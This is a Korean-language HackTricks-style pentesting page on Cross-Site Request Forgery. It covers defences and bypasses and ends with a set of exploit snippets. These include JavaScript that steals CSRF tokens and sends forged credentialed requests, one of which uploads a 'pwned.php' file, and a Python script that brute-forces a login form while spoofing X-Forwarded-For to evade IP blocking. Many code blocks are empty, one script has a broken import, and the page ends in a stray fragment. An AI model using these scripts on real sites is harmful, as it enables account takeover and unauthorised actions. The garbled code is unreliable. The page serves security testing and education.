# CSRF (Cross Site Request Forgery)
{{#include ../banners/hacktricks-training.md}}
## Cross-Site Request Forgery (CSRF) Explained
**Cross-Site Request Forgery (CSRF)**는 웹 애플리케이션에서 발견되는 보안 취약점의 일종입니다. 이는 공격자가 인증된 세션을 악용하여 무심코 사용자를 대신해 행동을 수행할 수 있게 합니다. 공격은 피해자의 플랫폼에 로그인한 사용자가 악성 사이트를 방문할 때 실행됩니다. 이 사이트는 JavaScript 실행, 양식 제출 또는 이미지 가져오기와 같은 방법을 통해 피해자의 계정에 요청을 트리거합니다.
### Prerequisites for a CSRF Attack
CSRF 취약점을 악용하기 위해서는 여러 조건이 충족되어야 합니다:
1. **Identify a Valuable Action**: 공격자는 사용자의 비밀번호, 이메일 변경 또는 권한 상승과 같이 악용할 가치가 있는 행동을 찾아야 합니다.
2. **Session Management**: 사용자의 세션은 쿠키 또는 HTTP Basic Authentication 헤더를 통해서만 관리되어야 하며, 다른 헤더는 이 목적을 위해 조작할 수 없습니다.
3. **Absence of Unpredictable Parameters**: 요청에는 예측할 수 없는 매개변수가 포함되어서는 안 되며, 이는 공격을 방지할 수 있습니다.
### Quick Check
You could **capture the request in Burp** and check CSRF protections and to test from the bowser you can click on **Copy as fetch** and check the request:
### Defending Against CSRF
Several countermeasures can be implemented to protect against CSRF attacks:
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): 이 속성은 브라우저가 교차 사이트 요청과 함께 쿠키를 전송하는 것을 방지합니다. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): 피해자 사이트의 CORS 정책은 공격의 실행 가능성에 영향을 줄 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 할 경우에 그렇습니다. [Learn about CORS bypass](cors-bypass.md).
- **User Verification**: 사용자의 비밀번호를 요청하거나 캡차를 해결하도록 요구하면 사용자의 의도를 확인할 수 있습니다.
- **Checking Referrer or Origin Headers**: 이러한 헤더를 검증하면 요청이 신뢰할 수 있는 출처에서 오는지 확인하는 데 도움이 될 수 있습니다. 그러나 URL을 신중하게 작성하면 잘못 구현된 검사를 우회할 수 있습니다. 예를 들어:
- `http://mal.net?orig=http://example.com` (URL이 신뢰할 수 있는 URL로 끝남)
- `http://example.com.mal.net` (URL이 신뢰할 수 있는 URL로 시작함)
- **Modifying Parameter Names**: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다.
- **CSRF Tokens**: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF의 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS를 강제함으로써 향상될 수 있습니다.
이러한 방어를 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다.
## Defences Bypass
### From POST to GET
아마도 악용하고자 하는 양식은 **CSRF 토큰이 있는 POST 요청을 보내도록 준비되어 있지만**, **GET** 요청도 **유효한지** 확인하고 GET 요청을 보낼 때 **CSRF 토큰이 여전히 검증되는지** 확인해야 합니다.
### Lack of token
애플리케이션은 **토큰이 존재할 때** 이를 **검증하는 메커니즘**을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 **토큰을 포함하는 매개변수**를 제거하여 이를 악용할 수 있으며, 단순히 값만 제거하는 것이 아닙니다. 이를 통해 검증 프로세스를 우회하고 Cross-Site Request Forgery (CSRF) 공격을 효과적으로 수행할 수 있습니다.
### CSRF token is not tied to the user session
애플리케이션이 **CSRF 토큰을 사용자 세션에 연결하지 않는 경우** 상당한 **보안 위험**이 발생합니다. 이러한 시스템은 각 토큰이 시작 세션에 바인딩되어 있는지 확인하는 대신 **전역 풀**에 대해 토큰을 검증합니다.
공격자가 이를 악용하는 방법은 다음과 같습니다:
1. **Authenticate** using their own account.
2. **Obtain a valid CSRF token** from the global pool.
3. **Use this token** in a CSRF attack against a victim.
이 취약점은 공격자가 피해자를 대신하여 무단 요청을 수행할 수 있게 하며, 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용합니다.
### Method bypass
요청이 "**이상한**" **메서드**를 사용하고 있다면, **메서드** **오버라이드 기능**이 작동하는지 확인하십시오. 예를 들어, **PUT** 메서드를 사용하고 있다면 **POST** 메서드를 사용하여 **보내기**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
이것은 **POST 요청 내에서 \_method 매개변수를 보내거나** **헤더**를 사용하여도 작동할 수 있습니다:
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
### Custom header token bypass
요청이 **CSRF 보호 방법**으로 **토큰**이 포함된 **사용자 정의 헤더**를 추가하고 있다면:
- **사용자 정의 토큰과 헤더 없이 요청을 테스트하십시오.**
- **길이는 같지만 다른 토큰으로 요청을 테스트하십시오.**
### CSRF token is verified by a cookie
애플리케이션은 CSRF 보호를 위해 쿠키와 요청 매개변수 모두에 토큰을 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 검증할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다.
그러나 이 방법은 웹사이트에 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 경우 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 기만적인 이미지를 로드한 다음 CSRF 공격을 시작하여 이를 악용할 수 있습니다.
아래는 공격이 어떻게 구성될 수 있는지에 대한 예입니다:
```html
```
> [!NOTE]
> csrf 토큰이 세션 쿠키와 관련되어 있다면 이 공격은 작동하지 않습니다. 왜냐하면 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다.
### Content-Type 변경
[**이**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)에 따르면, **POST** 메서드를 사용하여 **preflight** 요청을 피하기 위해 허용되는 Content-Type 값은 다음과 같습니다:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
그러나 사용된 **Content-Type**에 따라 **서버의 로직이 다를 수** 있으므로 언급된 값과 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._와 같은 다른 값도 시도해 보아야 합니다.
예시 (from [here](https://brycec.me/posts/corctf_2021_challenges))는 text/plain으로 JSON 데이터를 전송하는 방법입니다:
```html
```
### JSON 데이터에 대한 Preflight 요청 우회
POST 요청을 통해 JSON 데이터를 전송하려고 할 때, HTML 양식에서 `Content-Type: application/json`을 직접 사용할 수 없습니다. 마찬가지로, `XMLHttpRequest`를 사용하여 이 콘텐츠 유형을 전송하면 preflight 요청이 시작됩니다. 그럼에도 불구하고, 이 제한을 우회하고 서버가 Content-Type에 관계없이 JSON 데이터를 처리하는지 확인할 수 있는 전략이 있습니다:
1. **대체 콘텐츠 유형 사용**: 양식에서 `enctype="text/plain"`을 설정하여 `Content-Type: text/plain` 또는 `Content-Type: application/x-www-form-urlencoded`를 사용합니다. 이 접근 방식은 백엔드가 Content-Type에 관계없이 데이터를 사용하는지 테스트합니다.
2. **콘텐츠 유형 수정**: 서버가 콘텐츠를 JSON으로 인식하도록 하면서 preflight 요청을 피하려면, `Content-Type: text/plain; application/json`으로 데이터를 전송할 수 있습니다. 이는 preflight 요청을 트리거하지 않지만, 서버가 `application/json`을 수용하도록 구성되어 있다면 올바르게 처리될 수 있습니다.
3. **SWF 플래시 파일 활용**: 덜 일반적이지만 가능한 방법은 SWF 플래시 파일을 사용하여 이러한 제한을 우회하는 것입니다. 이 기술에 대한 심층적인 이해를 원하시면 [이 게시물](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)을 참조하십시오.
### Referrer / Origin 체크 우회
**Referrer 헤더 피하기**
응용 프로그램은 'Referer' 헤더가 있을 때만 이를 검증할 수 있습니다. 브라우저가 이 헤더를 전송하지 않도록 하려면 다음 HTML 메타 태그를 사용할 수 있습니다:
```xml
```
이것은 'Referer' 헤더가 생략되도록 하여 일부 애플리케이션에서 유효성 검사 체크를 우회할 수 있습니다.
**정규 표현식 우회**
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Referrer가 매개변수 내에서 전송할 URL의 서버 도메인 이름을 설정하려면 다음과 같이 할 수 있습니다:
```html
```
### **HEAD 메서드 우회**
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 번째 부분에서는 [Oak의 소스 코드](https://github.com/oakserver/oak/blob/main/router.ts#L281)가 **HEAD 요청을 응답 본문 없이 GET 요청으로 처리하도록 설정되어** 있다고 설명합니다. 이는 Oak에만 국한되지 않는 일반적인 우회 방법입니다. HEAD 요청을 처리하는 특정 핸들러 대신, 요청은 단순히 **GET 핸들러로 전달되지만 앱은 응답 본문을 제거합니다**.
따라서 GET 요청이 제한되고 있다면, **GET 요청으로 처리될 HEAD 요청을 보낼 수 있습니다**.
## **익스플로잇 예시**
### **CSRF 토큰 추출**
**CSRF 토큰**이 **방어** 수단으로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/) 취약점을 악용하여 **추출을 시도할 수 있습니다**.
### **HTML 태그를 사용한 GET**
```xml
404 - Page not found
The URL you are requesting is no longer available
```
자동으로 GET 요청을 보내는 데 사용할 수 있는 다른 HTML5 태그는 다음과 같습니다:
```html
```
### GET 요청 폼
```html
```
### 폼 POST 요청
```html
```
### iframe을 통한 Form POST 요청
```html
```
### **Ajax POST 요청**
```html
```
### multipart/form-data POST 요청
```javascript
myFormData = new FormData()
var blob = new Blob([""], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
```
### multipart/form-data POST 요청 v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### iframe 내에서 POST 요청 전송
```html
<--! expl.html -->
Sitio bajo mantenimiento. Disculpe las molestias
```
### **CSRF 토큰 훔치기 및 POST 요청 전송**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **CSRF 토큰 훔치기 및 iframe, 폼, Ajax를 사용하여 Post 요청 보내기**
```html
```
### **CSRF 토큰 훔치기 및 iframe과 폼을 사용하여 POST 요청 보내기**
```html
```
### **토큰을 훔치고 2개의 iframe을 사용하여 전송하기**
```html
```
### **POSTSteal CSRF 토큰을 Ajax로 가져오고 폼으로 POST 전송**
```html
```
### CSRF with Socket.IO
```html
```
## CSRF 로그인 브루트 포스
The code can be used to Brut Force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting):
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## 도구
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## 참고 문헌
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
{{#include ../banners/hacktricks-training.md}}
 (1) (1).png)